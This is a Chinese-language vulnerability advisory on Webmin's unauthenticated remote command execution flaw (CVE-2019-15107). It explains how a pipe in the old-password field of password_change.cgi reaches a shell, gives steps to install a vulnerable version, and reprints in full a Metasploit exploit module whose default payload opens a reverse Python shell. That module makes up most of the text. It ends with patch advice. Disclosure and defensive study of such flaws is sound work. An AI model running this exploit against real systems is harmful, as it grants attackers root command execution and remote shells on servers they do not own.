cgi web 调用多次启动_漏洞预警|Web系统管理工具Webmin远程命令执行高危漏洞分析(CVE201915107)...
漏洞描述
近日,HSCERT监测发现Webmin1.92之前的版本存在一个远程命令执行漏洞(CVE-2019-15107),当用户开启Webmin密码重置功能后,攻击者利用该漏洞可在存在漏洞的系统中执行任意命令,进而获取系统Shell。
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。目前Webmin支持绝大多数的Unix系统,这些系统除了各种版本的linux以外还包括:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。
目前此应用在公网的设备量非常大:
漏洞分析
webmin管理工具基本都支持密码更改功能,在Webmin文件中,有一个是password_change.cgi文件。
此文件中的参数只有一个要求,即miniserv.conf配置文件中的passwd_mode值设置为2。
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
password_change.cgi将旧密码发送到acl /acl-lib.pl中的encrypt_password函数,该函数会调用另一个函数unix_crypt。
在另一块代码中,再次为验证旧密码调用相同的函数unix_crypt
可以在在验证旧密码的时候使用管道符"|"读取shadow文件,发送一个带有普通POST数据的请求,返回包会给出一个错误:无法更改密码,当前密码不正确。
文件password_change.cgi将检查服务器上old参数中的信息,它甚至都不会检查用户名是否正确。
安装Webmin复现此漏洞
下载Webmin RPM包
wget http://prdownloads.sourceforge.net/webadmin/webmin-1.930-1.noarch.rpm
安装可选依赖项
yum -y install perl perl-Net-SSLeay openssl perl-IO-Tty perl-Encode-Detect
安装Webmin
rpm -U webmin-1.930-1.noarch.rpm
安装完成后,你可以使用https://localhost:10000本地登录或使用https://ip:10000访问,用户名和密码分别是root和root用户的密码。
设置语言为中文
登录Webmin后,依次点击Webmin->Webmin Configuration,右侧点击Language,下拉框选择Simplified Chinese(ZH_CN)即可。
发送post数据包后,服务器执行了ifconfig命令。
使用MSF加载脚本文件,可以达到对此漏洞的稳定利用
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.920 and prior versions. If the password change module is turned on, the unathenticated user
can execute arbitrary commands with root privileges.
/// This 0day has been published at DEFCON-AppSec Village. ///
),
'Author' => [
'AkkuS ' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end
利用效果如下:
漏洞危害
高危
影响版本
Webmin <=1.920
安全建议
目前,Webmin官方已发布升级补丁,建议用户尽快升级,官方补丁链接如下:
http://www.webmin.com/
参考信息
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107http://www.webmin.com/https://blog.firosolutions.com/exploits/webmin/
如需帮助请咨询 hscert@hillstonenet.com